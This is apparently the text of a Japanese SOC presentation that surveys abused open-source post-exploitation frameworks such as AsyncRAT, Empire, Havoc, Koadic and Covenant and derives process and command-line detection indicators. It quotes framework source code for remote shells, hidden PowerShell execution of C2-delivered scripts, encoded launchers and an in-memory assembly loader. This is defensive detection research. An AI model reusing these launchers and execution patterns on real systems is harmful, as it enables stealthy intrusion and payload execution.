Threat Intelligence ofAbused Public Post-Exploitation Frameworks

株式会社インターネットイニシアティブ
武田 理史
古川 智也
Copyright Internet Initiative Japan Inc.

Who are we• 武田 理史• 古川 智也– 2018年にSOCへ配属– 2017年にSOCへ配属– SOCインフラの構築・運用やEDR検証– インフラ、セキュリティ面のSIEM管理
を経験
全般を経験
– 現在はマルウェア解析業務などに従事– 現在はマルウェア解析業務に従事
Copyright Internet Initiative Japan Inc.

1

Our Motivation• Post-Exploitation Frameworkの中にはソースコードが公開されたものが多く存在する– これらは攻撃者が金銭的コストなしに利用することが可能• Post-Exploitation Frameworkの中には攻撃に利用されたが、MITRE ATT&CKに記載されていないものがある• MITRE ATT&CKに記載されているものでもインジケータの分析がされていないものがある

Copyright Internet Initiative Japan Inc.

2

Our Motivation• Post-Exploitation Frameworkの中にはソースコードが公開されたものが多く存在する– これらは攻撃者が金銭的コストなしに利用することが可能• Post-Exploitation Frameworkの中には攻撃に利用されたが、MITRE ATT&CKに記載されていないものがある• MITRE ATT&CKに記載されているものでもインジケータの分析がされていないものがある

1. MITRE ATT&CKに記載されていない
フレームワークの調査
2. Techniqueに関連するインジケータの調査
Copyright Internet Initiative Japan Inc.

3

MITRE ATT&CK Tactics
戦術概要

Execution

攻撃者が悪意のあるコードを実行しようとしている

Persistence

攻撃者が不正アクセスする環境を確保しようとしている

Privilege Escalation

攻撃者がより高いレベルの権限を取得しようとしている

Defense Evasion

攻撃者が検知されないようにしようとしている

Credential Access

攻撃者がアカウント名とパスワードを盗もうとしている

Discovery

攻撃者がアクセス先の環境を理解しようとしている

Lateral Movement

攻撃者がアクセス先の環境を移動しようとしている

Collection

攻撃者が標的に関心のあるデータを収集しようとしている

Command and Control

攻撃者が侵害されたシステムと通信して制御しようとしている

Exfiltration

攻撃者がデータを盗もうとしている

Impact

攻撃者がシステムとデータを操作、中断、または破壊しようとしている

https://attack.mitre.org/tactics/enterprise/

Copyright Internet Initiative Japan Inc.

4

Presentation contents• MITRE ATT&CKで整理したもので利用されやすい手法– 本発表ではExecution、Persistenceの一部について紹介• ソースコードに基づいた個々のインジケータの共有– イベントログに記録されるインジケータについて紹介

Copyright Internet Initiative Japan Inc.

5

Surveying Post-Exploitation Tools

Copyright Internet Initiative Japan Inc.

6

C2Matrix• C&Cツールの掲載サービス• 2023/12時点で139ツールが掲載されている– 商用やリポジトリが削除されたツールも掲載

https ://docs.google.com/spreadsheets/d/1b4mUxa6cDQuTV2BPC6a A-GR4zGZi0ooPYtBe4IgPsSc/edit#gid=0
Copyright Internet Initiative Japan Inc.

7

Analyzing tools listed in C2Matrix• 全体の22%(31ツール)が悪用あり

Not
Abused78%

Abused22%

Copyright Internet Initiative Japan Inc.

8

Analyzing tools listed in C2Matrix• 全体の22%(31ツール)が悪用あり• 悪用された31ツール中87% (27ツール)がGitHubに公開

Not
Abused78%

Not
Public13%

Abused22%

Public87%

Copyright Internet Initiative Japan Inc.

9

Selecting analysis targets

1. ソースコードが公開されている
2. 悪用事例が確認されている
3. Tacticsを5つ以上満たす–

機能が少ないツールを調査対象から除外

Copyright Internet Initiative Japan Inc.

10

Selecting analysis targets

1. ソースコードが公開されている
2. 悪用事例が確認されている
3. Tacticsを5つ以上満たす–

機能が少ないツールを調査対象から除外

Target Frameworks••••

AsyncRAT
Covenant
DcRat
Empire

•
•
•

Havoc
KoadicMerlin•••PoshC2
QuasarSliverCopyright Internet Initiative Japan Inc.

11

Introducing Target Frameworks

Copyright Internet Initiative Japan Inc.

12

Version information
Framework

Evaluated Version (Release Date)

AsyncRAT

v0.5.8 (2023/10/17)

Covenant

v0.6 (2020/08/18)

DcRat

v1.0.7 (2021/05/06)

Empirev5.7.3 (2023/10/17)

Havoc

No release version (2023/08/25)

KoadicNo release version (2022/01/03)

Merlinv2.0 (2023/11/06)

PoshC2v8.1 (2022/08/01)

Quasar

v1.4.1 (2023/05/13)

Sliver

v1.5.41 (2023/07/12)

Copyright Internet Initiative Japan Inc.

13

AsyncRAT• 2019年に公開されたC#で作成されたフレームワーク• 最新バージョンはv0.5.8（2023/10/17）• MITRE ATT&CKに記載あり–

https://attack.mitre.org/software/S1087/• 特徴– Quasarをベースに作成されている– コードインジェクション、アンチウィルス無効化などの検知回避機能が追加されている• 悪用事例– OneNote Documents Increasingly Used to Deliver Malware,
https://www.proofpoint.com/us/blog/threat-insight/onenote-documents-increasingly-used-to-deliver-malware

Copyright Internet Initiative Japan Inc.

14

Covenant• 2019年に公開されたC#で作成されたフレームワーク• 最新バージョンはv0.6（2020/08/18）– 2021/04/22以降は開発なし• MITRE ATT&CKに記載なし• 特徴– 複数タイプのLauncherを持つ– 多くの機能が内蔵しているSharpSploitで行われる• 悪用事例– Operation RestyLink: 日本企業を狙った標的型攻撃キャンペーン,
https://jp.security.ntt/tech_blog/102ho8oCopyright Internet Initiative Japan Inc.

15

DcRat(not Dark Crystal Rat)

• 2021年に公開されたC#で作成されたフレームワーク• 最新バージョンはv1.0.7(2021/05/06)– 悪用されたことを受け、リポジトリはアーカイブされている• MITRE ATT&CKに記載なし• 特徴– AsyncRATをベースに開発されている– ランサムウェア機能を持つ• 悪用事例– OnlyDcRatFans: Malware Distributed Using Explicit Lures of
OnlyFans Pages and Other Adult Content,
https://www.esentire.com/blog/onlydcratfans-malware-distributed-using-explicit-lures-of-onlyfans-pages-andother-adult-content

Copyright Internet Initiative Japan Inc.

16

Empire(a.k.a PowerShell Empire)• 2015年に公開されたPowerShellで作成されたフレームワーク– 2020年(v3.0)よりBC Securityのfork版がメイン• 最新バージョンはv5.8.4(2023/12/22)• MITRE ATT&CKに記載あり–

https://attack.mitre.org/software/S0363/• 特徴– Launcherを起点としたAgentを実行• Launcherには複数のファイル形式を利用可能– モジュールによる機能拡張– Covenantを内蔵• 悪用事例– 総理官邸のセキュリティが危機に: 最近のスパイ活動の詳細,
https://www.trellix.com/ja-jp/about/newsroom/stories/research/prime-ministers-office-compromised/

Copyright Internet Initiative Japan Inc.

17

Havoc• 2022年に公開されたCで作成されたフレームワーク• バージョン管理されてない– Mainブランチは2023年に更新されている• MITRE ATT&CKに記載なし• 特徴– Beacon Object File(BOF)を用いた実行– 徹底した検知回避– モジュールにより機能拡充可能• 悪用事例– Malware Disguised as Document from Ukraine's Energoatom
Delivers Havoc Demon Backdoor, https://www.fortinet.com/blog/threatresearch/malware-disguised-as-document-ukraine-energoatom-delivers-havoc-demon-backdoor
Copyright Internet Initiative Japan Inc.

18

Koadic• 2017年に公開されたPythonで作成されたフレームワーク• 最新バージョンは2021年に公開され、現在も開発は継続されている• MITRE ATT&CKに記載あり–

https://attack.mitre.org/software/S0250/• 特徴– ほとんどの操作がWindows Script Hostにより実行される– SSLおよびTLS経由で安全な通信を使用することが可能• 悪用事例– 建築業界を狙ったサイバー攻撃オペレーション「kiya」について,
https://techblog.security.ntt/102fz2k

Copyright Internet Initiative Japan Inc.

19

Merlin• 2017年に公開されたGoで作成されたフレームワーク• 2023年も開発が続いている– 最新バージョンはv2.1.1（2024/01/05）• MITRE ATT&CKに記載なし• 特徴– クロスプラットフォーム対応– 外部の攻撃ツールをモジュールとして利用し機能拡張• 悪用事例– MerlinAgent: новий open-source інструмент для здійснення
кібератак у відношенні державних організацій України (CERTUA#6995, CERT-UA#7183), https://cert.gov.ua/article/5391805
Copyright Internet Initiative Japan Inc.

20

PoshC2• 2016年に公開されたPythonで作成されたフレームワーク• 最新バージョンはv8.1(2022/08/01)• MITRE ATT&CKに記載あり–

https://attack.mitre.org/software/S0378/• 特徴– 多数のペイロード• C++ DLL, Shellcode, DotNet2JS, Executable, Msbuild, CSC, macOS JXA
Dropper, Python2 Dropper, elf• 悪用事例– オープンソースのツール「PoshC2」を悪用した新たな標的型攻撃を確認,
https://www.lac.co.jp/lacwatch/people/20190213_001770.html

Copyright Internet Initiative Japan Inc.

21

Quasar(a.k.a Quasar RAT)

• 2015年に公開されたC#で作成されたフレームワーク– 前身のxRATは2014年公開• 最新バージョンはv1.4.1(2023/05/13)• MITRE ATT&CKに記載あり–

https://attack.mitre.org/software/S0262/• 特徴– GUIによる操作– 一般的なRAT機能• 悪用事例– OneNote Documents Increasingly Used to Deliver Malware,
https://www.proofpoint.com/us/blog/threat-insight/onenote-documents-increasingly-used-to-deliver-malware

Copyright Internet Initiative Japan Inc.

22

Sliver• 2019年に公開されたGoで作成されたフレームワーク• 最新バージョンはv1.5.41（2023/07/12）• MITRE ATT&CKに記載あり–

https://attack.mitre.org/software/S0633/• 特徴– クロスプラットフォーム対応– mTLSやDNSをC&Cプロトコルとして用いることが可能– Armoryモジュールにより機能を拡充可能• 悪用事例– Sliver C2 Being Distributed Through Korean Program Development
Company, https://asec.ahnlab.com/en/55652/
Copyright Internet Initiative Japan Inc.

23

Tactics Matrix
Execution

Persistence

Privilege
Escalation

DefenseEvasionCredential
AccessDiscovery

LateralMovement

Collection

Com mandand Control

Exfiltration

Im pact

QuasarEmpireMerlinAsyncRAT

SliverCovenant
PoshC2
DcRat
KoadicHavoc
Copyright Internet Initiative Japan Inc.

24

We unchecked Lateral Movement of AsyncRAT, DcRat, andQuasarExecution

Persistence

Privilege
Escalation

DefenseEvasionCredential
AccessDiscovery

LateralMovement

Collection

Com mandand Control

Exfiltration

Im pact

QuasarEmpireMerlinAsyncRAT

SliverCovenant
PoshC2
DcRat
KoadicHavoc
Copyright Internet Initiative Japan Inc.

25

Why we considered that these frameworks don’t have
“Lateral Movement” capability• Quasar, AsyncRAT, DcRatはリモートデスクトップ機能を持つ– この機能がMITRE ATT&CKだとLateral Movementに分類されている• リモートデスクトップ機能は感染した端末のみに適用され、Lateral Movementとしての動作はしない• Command and Controlのテクニックである"Remote Access
Software"の方が適していると判断

Copyright Internet Initiative Japan Inc.

26

Threat Intelligence~ Execution ~Copyright Internet Initiative Japan Inc.

27

Execution matrix 1
Technique

Windows Command Shell

PowerShell

Count

Frameworks

10/10

•
•
•
•
•
•
•
•
•
•

AsyncRAT
Covenant
DcRat
EmpireKoadic
Havoc
MerlinPoshC2
QuasarSliver

9/10

•
•
•
•
•
•
•
•
•

AsyncRAT
Covenant
DcRat
EmpireHavoc
MerlinPoshC2
QuasarSliverCopyright Internet Initiative Japan Inc.

28

Execution matrix 2
TechniqueCount

Frameworks

Native API

4/10

•
•
•
•

EmpireHavoc
MerlinSliverCommand Interpreter

1/10

•

Empire

WMI

1/10

•

KoadicCopyright Internet Initiative Japan Inc.

29

Focus on Windows Command Shell
Technique

Windows Command Shell

PowerShell

Count

Frameworks

10/10

•
•
•
•
•
•
•
•
•
•

AsyncRAT
Covenant
DcRat
EmpireKoadic
Havoc
MerlinPoshC2
QuasarSliver

9/10

•
•
•
•
•
•
•
•
•

AsyncRAT
Covenant
DcRat
EmpireHavoc
MerlinPoshC2
QuasarSliverCopyright Internet Initiative Japan Inc.

30

Windows Command Shell features• 利用用途– Remote shell• AsyncRAT, DcRat, Quasar, Sliver– Command execution• Koadic, Havoc, Merlin, Covenant– Launcher execution• Empire, PoshC2• インジケータ– 親プロセス– コマンドライン

Copyright Internet Initiative Japan Inc.

31

Remote shell indicator matrix

Framework

Parent Process

Command Line

AsyncRAT<AsyncRAT process>

"cmd"

DcRat

<DcRat process>"cmd"

Quasar<Quasar process>"cmd" /K chcp <Code page>

Sliver<Sliver process>

C:¥Windows¥System32¥cmd.exe

Copyright Internet Initiative Japan Inc.

32

Execution of cmd.exe in interactive mode

Framework

Parent Process

Command Line

AsyncRAT<AsyncRAT process>

"cmd"

DcRat

<DcRat process>"cmd"

Quasar<Quasar process>"cmd" /K chcp <Code page>

Sliver<Sliver process>

C:¥Windows¥System32¥cmd.exe

Copyright Internet Initiative Japan Inc.

33

Command line is "cmd"

Framework

Parent Process

Command Line

AsyncRAT<AsyncRAT process>

"cmd"

DcRat

<DcRat process>"cmd"

Quasar<Quasar process>"cmd" /K chcp <Code page>

Sliver<Sliver process>

C:¥Windows¥System32¥cmd.exe

Copyright Internet Initiative Japan Inc.

34

Remote shell source code

AsyncRAT

DcRat

public static void StarShell(){
ProcessShell = new Process(){
StartInfo = new ProcessStartInfo("cmd"){
UseShellExecute = false,
CreateNoWindow = true,
RedirectStandardOutput = true,
RedirectStandardInput = true,
RedirectStandardError = true,
WorkingDirectory =Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))}};https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/Miscellaneous/Miscellaneous/Handler/HandleShell.cs#L26-L39
Copyright Internet Initiative Japan Inc.

35

Indicators

AsyncRAT

Item

Value

ParentProcess<AsyncRAT or DcRat process>Command
Line

"cmd"

DcRat

Copyright Internet Initiative Japan Inc.

36

Command execution with cmd.exe indicator matrix
Framework

Parent Process

Command Line

Havoc

<Havoc process>/c <command>

rundll32.exe
Koadicregsvr32.exe
wmic.exe

Merlin<Merlin process>

C:¥Windows¥system32¥cmd.exe/q /c chcp <code page> &<command>1> %LocalAppData%¥Temp¥<uuid>.txt 2>&1"(default)
C:¥Windows¥system32¥cmd.exe /c<command line>

Copyright Internet Initiative Japan Inc.

37

Havoc command line does not contain cmd.exe path
Framework

Parent Process

Command Line

Havoc

<Havoc process>/c <command>

rundll32.exe
Koadicregsvr32.exe
wmic.exe

Merlin<Merlin process>

C:¥Windows¥system32¥cmd.exe/q /c chcp <code page> &<command>1> %LocalAppData%¥Temp¥<uuid>.txt 2>&1"(default)
C:¥Windows¥system32¥cmd.exe /c<command line>

Copyright Internet Initiative Japan Inc.

38

“shell” command source code

Havoc

else if ( InputCommands[ 0 ].compare( "shell" ) == 0 ) {Arguments only
if ( InputCommands.length() > 1 ) {auto Program = QString("c:¥¥windows¥¥system32¥¥cmd.exe");
auto Args = QString( "/c " + JoinAtIndex( InputCommands, 1 ) ).toUtf8().toBase64();// InputCommands[ 1 ].;TaskID = CONSOLE_INFO( "Tasked demon to execute a shell command" );CommandInputList[ TaskID ] = commandline;
SEND( Execute.ProcModule( TaskID, 4, "0;FALSE;TRUE;" + Program + ";" +Args ) )}}https://github.com/HavocFramework/Havoc/blob/main/client/src/Havoc/Demon/ConsoleInput.cc#L876-L883
Copyright Internet Initiative Japan Inc.

39

Execution process source code

Havoc

case DEMON_COMMAND_PROC_CREATE: PUTS( "Proc::Create" ) {<…snip…>
Success = ProcessCreate( TRUE, Process, ProcessArgs, ProcessState, &ProcessInfo,
ProcessPiped, NULL );https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Command.c#L423-L448

BOOL ProcessCreate(IN BOOL x86, IN LPWSTR App, IN LPWSTR CmdLine,IN DWORD Flags, OUT PROCESS_INFORMATION* ProcessInfo,
IN BOOL Piped, IN PANONPIPE DataAnonPipes){<…snip…>
if ( ! Instance.Win32.CreateProcessWithTokenW(PrimaryToken,
LOGON_NETCREDENTIALS_ONLY, App, CmdLine,<…snip…>
Arguments only)
https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Win32.c#L579-L683
Copyright Internet Initiative Japan Inc.

40

Indicators

Havoc

Item

Value

ProcessName

cmd.exe

CommandLine/c <any command line>

Copyright Internet Initiative Japan Inc.

41

“proc create” command source code

Havoc

“shell”コマンドとは異なり、Args = "¥"" + Program + "¥"";“proc create”コマンドでは実行する
for (int i = Index; i < InputCommands.length();++i)
コマンドを'Args'に追加するため、{自然なコマンドラインになる
Args += " " + InputCommands[ i ];}<…snip…>
SEND( Execute.ProcModule( TaskID, 4, Flags + ";" + Verbose + ";" + Piped + ";" +Program + ";" + Args ) )https://github.com/HavocFramework/Havoc/blob/main/client/Source/Havoc/Demon/ConsoleInput.cpp#L876 -L895

Copyright Internet Initiative Japan Inc.

42

Koadic Indicators are very interesting!
Framework

Parent Process

Command Line

Havoc

<Havoc process>/c <command>

rundll32.exe
Koadicregsvr32.exe
wmic.exe

Merlin<Merlin process>

C:¥Windows¥system32¥cmd.exe/q /c chcp <code page> &<command>1> %LocalAppData%¥Temp¥<uuid>.txt 2>&1"(default)
C:¥Windows¥system32¥cmd.exe /c<command line>

Copyright Internet Initiative Japan Inc.

43

Stager module targeting user execution

Koadic• KoadicはStagerが6種類存在する– Stagerは最終的にC2サーバのURLからAgentをダウンロード、実行する• Agentはrundll32.exe, regsvr32.exe, wmic.exeのいずれかで実行されるStagerAgent Process

stager/js/mshta
stager/js/rundll32_js
stager/js/diskrundll32.exe

stager/js/bitsadmin
stager/js/regsvr

regsvr32.exe

stager/js/wmic

wmic.exe

Copyright Internet Initiative Japan Inc.

44

shell_exec source code

KoadicKoadic.shell.exec = function(cmd, stdOutPath){
cmd = "chcp " + Koadic.user.shellchcp() + " & " + cmd;
var c = "%comspec% /q /c " + cmd + " 1> " +Koadic.file.getPath(stdOutPath);%COMSPEC%が設定されている
c += " 2>&1";
Koadic.WS.Run(c, 0, true);
https://github.com/offsecginger/koadic/blob/main/data/stager/js/stdlib.js#L952-L957

try{
var readout = ~OUTPUT~;
if (readout){
var output = Koadic.shell.exec("~FCMD~","~FDIRECTORY~¥¥"+Koadic.uuid()+".txt");}
https://github.com/offsecginger/koadic/blob/main/data/implant/manage/exec_cmd.js#L1 -L7
Copyright Internet Initiative Japan Inc.

45

Indicators

Koadic

Item

Value

ParentProcess•••

CommandLine

C:¥Windows¥system32¥cmd.exe /q /c chcp <user code> &<command>1> %LocalAppData%¥Temp¥<uuid>.txt 2>&1"

rundll32.exe
regsvr32.exe
wmic.exe

Copyright Internet Initiative Japan Inc.

46

Merlin executes the shell set in %COMSPEC%
Framework

Parent Process

Command Line

Havoc

<Havoc process>/c <command>

rundll32.exe
Koadicregsvr32.exe
wmic.exe

Merlin<Merlin process>

C:¥Windows¥system32¥cmd.exe/q /c chcp <code page> &<command>1> %LocalAppData%¥Temp¥<uuid>.txt 2>&1"(default)
C:¥Windows¥system32¥cmd.exe /c<command line>

Copyright Internet Initiative Japan Inc.

47

Agent execution with cmd.exe indicator matrix

Framework

Parent Process

Empire(default) cmd.exe
PoshC2

Command Line(default) powershell.exe -nop -ep
bypass -w 1 -enc <base64encoded
script>powershell -exec bypass Noninteractive -windowstyle hidden e <base64 encoded script>

Copyright Internet Initiative Japan Inc.

48

Empire and PoshC2 launcher are BAT files

Framework

Parent Process

Empire(default) cmd.exe
PoshC2

Command Line(default) powershell.exe -nop -ep
bypass -w 1 -enc <base64encoded
script>powershell -exec bypass-Noninteractive -windowstyle hidden-e <base64 encoded script>

Copyright Internet Initiative Japan Inc.

49

launcher_bat source code

Empirelauncher_ps = (self.mainMenu.obfuscationv2.obfuscate(launcher_ps, obfuscate_command)
if obfuscateelse launcher_ps)
launcher_ps = enc_powershell(launcher_ps).decode("UTF-8")
launcher = f"powershell.exe -nop -ep bypass -w 1 -enc {launcher_ps}"
https://github.com/BC-SECURITY/Empire/blob/main/empire/server/stagers/windows/launcher_bat.py#L120-L128

Copyright Internet Initiative Japan Inc.

50

Launcher BAT file

EmpiredecodeCopyright Internet Initiative Japan Inc.

Stagerをダウンロードし、実行するスクリプト

51

Indicators

Empire

Item

Value

ParentProcess

cmd.exe

CommandLine(default) powershell.exe -nop -ep bypass -w 1
-enc <base64encoded script>

Copyright Internet Initiative Japan Inc.

52

Generating launcher source code

PoshC2

with open("%s%spayload.txt" % (self.BaseDirectory, name), 'w') as f:f.write(self.PSDropper)
self.QuickstartLog("Batch Payload written to: %s%spayload.bat" %(self.BaseDirectory, name))
encodedPayload = base64.b64encode(b64gzip.encode('UTF-16LE'))batfile = "powershell -exec bypass -Noninteractive -windowstyle hidden e %s" % encodedPayload.decode("utf-8")
https://github.com/nettitude/PoshC2/blob/master/poshc2/server/payloads/Payloads.py#L145 -L148

Copyright Internet Initiative Japan Inc.

53

Indicators

PoshC2

Item

Value

ParentProcess

cmd.exe

CommandLine

powershell -exec bypass -Noninteractive -windowstyle hidden-e <base64 encoded script>

Copyright Internet Initiative Japan Inc.

54

Focus on PowerShell
Technique

Windows Command Shell

PowerShell

Count

Frameworks

10/10

•
•
•
•
•
•
•
•
•

AsyncRAT
Covenant
DcRat
EmpireKoadic
Havoc
PoshC2
QuasarSliver

9/10

•
•
•
•
•
•
•
•
•

AsyncRAT
Covenant
DcRat
EmpireKoadic
Havoc
PoshC2
QuasarSliverCopyright Internet Initiative Japan Inc.

55

PowerShell features• 利用用途– Remote shell• Sliver– Command and script execution• Koadic, Havoc, Merlin, AsyncRAT, DcRat, Quasar– Launcher execution• Empire, Covenant• インジケータ– コマンドライン

Copyright Internet Initiative Japan Inc.

56

Remote shell indicator

Framework

Command Line

SliverC:¥Windows¥System32¥WindowsPowerShell¥v1.0¥
powershell.exe"-NoExit -Command[Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8"

Copyright Internet Initiative Japan Inc.

57

Remote shell with PowerShell

Sliver• “shell”コマンドでPowerShellをRemote shellとして利用可能– PowerShellが存在しない場合はcmd.exeが実行される• 推奨されないコマンドとして警告される

Copyright Internet Initiative Japan Inc.

58

Indicators

Sliver

Item

Value

ParentProcess<any Sliver process>CommandLine

C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe"-NoExit -Command [Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8"

Copyright Internet Initiative Japan Inc.

59

Command and script execution with powershell.exe
indicator matrix

Framework

AsyncRAT

Command Line

DcRat

powershell -ExecutionPolicy Bypass -WindowStyle
Hidden -NoExit -FilePath '"%TEMP%¥[a-z] {6}.ps1"'

Havoc-C <any command line>

Copyright Internet Initiative Japan Inc.

60

AsyncRAT and DcRat execute a PowerShell script received
from a C&C Server

Framework

AsyncRAT

Command Line

DcRat

powershell -ExecutionPolicy Bypass -WindowStyle
Hidden -NoExit -FilePath '"%TEMP%¥[a-z] {6}.ps1"'

Havoc-C <any command line>

Copyright Internet Initiative Japan Inc.

61

SendFile function

AsyncRAT

DcRat• AsyncRAT、DcRatは”SendFile”機能でC&Cサーバからファイルを送信し、実行することができる• “To Disk”を選択した場合、端末にファイルを書き込みPowerShellで実行する

Copyright Internet Initiative Japan Inc.

62

SendFile function source code

AsyncRAT

DcRat

string fullPath = Path.Combine(Path.GetTempPath(), Methods.GetRandomString(6) +unpack_msgpack.ForcePathObject("Extension").AsString);<…snip…>
If (unpack_msgpack.ForcePathObject(“Extension”).AsString.ToLower().EndsWith(".ps1")){
Process.Start(new ProcessStartInfo{
FileName = "cmd",
Arguments = $"/c start /b powershell –ExecutionPolicy Bypass -WindowStyle Hidden-NoExit -FilePath {"'" + "¥"" + fullPath + "¥"" + "'"} & exit",
CreateNoWindow = true,<…snip…>});}
https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs#L18-L31
Copyright Internet Initiative Japan Inc.

63

SendFile function source code

AsyncRAT

DcRat

string fullPath = Path.Combine(Path.GetTempPath(), Methods.GetRandomString(6) +unpack_msgpack.ForcePathObject("Extension").AsString);<…snip…>
If (unpack_msgpack.ForcePathObject(“Extension”).AsString.ToLower().EndsWith(".ps1")){
Process.Start(new ProcessStartInfo{
ターゲット端末に以下のパスで送信したファイルを作成
FileName = "cmd",%Temp%¥[a-z]{6}.<Extension>
Arguments = $"/c start /b powershell –ExecutionPolicy Bypass -WindowStyle Hidden-NoExit -FilePath {"'" + "¥"" + fullPath + "¥"" + "'"} & exit",
CreateNoWindow = true,<…snip…>});}
https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs#L18-L31
Copyright Internet Initiative Japan Inc.

64

SendFile function source code

AsyncRAT

DcRat

string fullPath = Path.Combine(Path.GetTempPath(), Methods.GetRandomString(6) +unpack_msgpack.ForcePathObject("Extension").AsString);<…snip…>
If (unpack_msgpack.ForcePathObject(“Extension”).AsString.ToLower().EndsWith(".ps1")){
Process.Start(new ProcessStartInfo{
FileName = "cmd",
Arguments = $"/c start /b powershell –ExecutionPolicy Bypass -WindowStyle Hidden-NoExit -FilePath {"'" + "¥"" + fullPath + "¥"" + "'"} & exit",
CreateNoWindow = true,<…snip…>
cmd.exe /c start /b powershell –ExecutionPolicy Bypass }); WindowStyle Hidden -NoExit -FilePath <script path> & exit}
https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs#L18-L31
Copyright Internet Initiative Japan Inc.

65

Indicators

AsyncRAT

DcRat

Item

Value

ParentProcess

cmd.exe

CommandLine

powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -FilePath'"%TEMP%¥[a-z] {6}.ps1"'

Copyright Internet Initiative Japan Inc.

66

Havoc command line does not contain powershell.exe
path

Framework

AsyncRAT

Command Line

DcRat

powershell -ExecutionPolicy Bypass -WindowStyle
Hidden -NoExit -FilePath '"%TEMP%¥[a-z] {6}.ps1"'

Havoc-C <any command line>

Copyright Internet Initiative Japan Inc.

67

powershell.exe execution source code

Havoc

else if ( InputCommands[ 0 ].compare( "powershell" ) == 0 ) {if ( InputCommands.length() > 1 ) {auto Program =QString("C:¥¥Windows¥¥System32¥¥WindowsPowerShell¥¥v1.0¥¥powershell.exe");// NOTE: the 'powershell' command does not need to escape quotes
auto Args = QString( "-C " + JoinAtIndex( commandline.split( " " ),1 ) ).toUtf8().toBase64();“Args“には引数のみが格納される。
TaskID = CONSOLE_INFO( "Tasked demon
to execute a powershell
この処理は“shell”コマンドと同様

command/script" );CommandInputList[ TaskID ] = commandline;

SEND( Execute.ProcModule( TaskID, 4, "0;FALSE;TRUE;" + Program + ";" + Args ) )}https://github.com/HavocFramework/Havoc/blob/main/client/src/Havoc/Demon/ConsoleInput.cc#L1815 -L1826
Copyright Internet Initiative Japan Inc.

68

Indicators

Havoc

Item

Value

Process
Name

C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe

CommandLine-C <any command line>

Copyright Internet Initiative Japan Inc.

69

Launcher execution with powershell.exe
Framework

Command Line

Empire(default) powershell.exe -noP -sta -w 1 -enc<base64encoded script>

Covenant

sv o (New-Object IO.MemoryStream);sv d (New-Object
IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(‘<base64 encode
file’>),[IO.Compression.CompressionMode]::Decompress));sv b (New-Object Byte[](1024));sv r (gvd).Value.Read((gv b).Value,0,1024);while((gv r).Value -gt0){(gv o).Value.Write((gv b).Value,0,(gv r).Value);sv r (gvd).Value.Read((gvb).Value,0,1024);}[Reflection.Assembly]::Load((gvo).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@()))|
Out-Null";Copyright Internet Initiative Japan Inc.

70

Launcher execution option is a bit different compared to
cmd.exe execution
Framework

Command Line

Empire(default) powershell.exe -noP -sta -w 1 -enc<base64encoded script>

Covenant

sv o (New-Object IO.MemoryStream);sv d (New-Object
IO.Compression.DeflateStream([IO.MemoryStream][Conv
Launcher execution with cmd.exe:ert]::FromBase64String(‘<base64
encodepowershell.exe -nop -ep
bypass -w 1
file’>),[IO.Compression.CompressionMode]::Decompress)-enc <base64encoded script>);sv b (New-Object Byte[](1024));sv r (gvd).Value.Read((gv b).Value,0,1024);while((gv r).Value -gt0){(gv o).Value.Write((gv b).Value,0,(gv r).Value);sv r (gvd).Value.Read((gvb).Value,0,1024);}[Reflection.Assembly]::Load((gvo).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@()))|
Out-Null";Copyright Internet Initiative Japan Inc.

71

Launcher module targeting user execution

Empire• EmpireはLauncherに複数のファイルタイプを利用できる• StagerはListenerで設定した実行オプションで実行される• Listenerのプロトコルがhttp, http_comを指定している場合、
launcher_batのみ実行オプションが変更される
LauncherApplication

launcher_vbs

wscript.exe

launcher_hta

mshta.exe

launcher_sct

regsvc32.exe

launcher_xml

MSBuild.exe

launcher_lnk

explorer.exe

launcher_bat

cmd.exe

Copyright Internet Initiative Japan Inc.

72

Default stager execution option example

Empire"Launcher": {"Description": "Launcher string.","Required": True,"Value": "powershell -noP -sta -w 1 -enc ",},Default launcher execution option

https://github.com/BC-SECURITY/Empire/blob/main/empire/server/stagers/windows/launcher_bat.py#L120-L128

Copyright Internet Initiative Japan Inc.

73

Indicators

Empire

Item

Value

CommandLine(default) powershell.exe -noP -sta -w 1 -enc <base64encoded script>

Copyright Internet Initiative Japan Inc.

74

Covenant launcher execution command line is very long
Framework

Command Line

Empire(default) powershell.exe -noP -sta -w 1 -enc<base64encoded script>

Covenant

sv o (New-Object IO.MemoryStream);sv d (New-Object
IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(‘<base64 encode
file’>),[IO.Compression.CompressionMode]::Decompress));sv b (New-Object Byte[](1024));sv r (gvd).Value.Read((gv b).Value,0,1024);while((gv r).Value -gt0){(gv o).Value.Write((gv b).Value,0,(gv r).Value);sv r (gvd).Value.Read((gvb).Value,0,1024);}[Reflection.Assembly]::Load((gvo).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@()))|
Out-Null";Copyright Internet Initiative Japan Inc.

75

PowerShell launcher source code

Covenant

private static readonly string PowerShellLauncherCodeTemplate = @“sv o (New-Object IO.MemoryStream);sv d (New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(‘{{GRUNT_IL_BYTE_STRING}}’),[IO.Compression.CompressionMode]::Decompress));
sv b (New-Object Byte[](1024));sv r (gv d).Value.Read((gv b).Value,0,1024);
while((gv r).Value -gt 0){(gv o).Value.Write((gv b).Value,0,(gv r).Value);
sv r (gv d).Value.Read((gv b).Value,0,1024);}[Reflection.Assembly]::Load((gv o).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@()))|Out-Null";
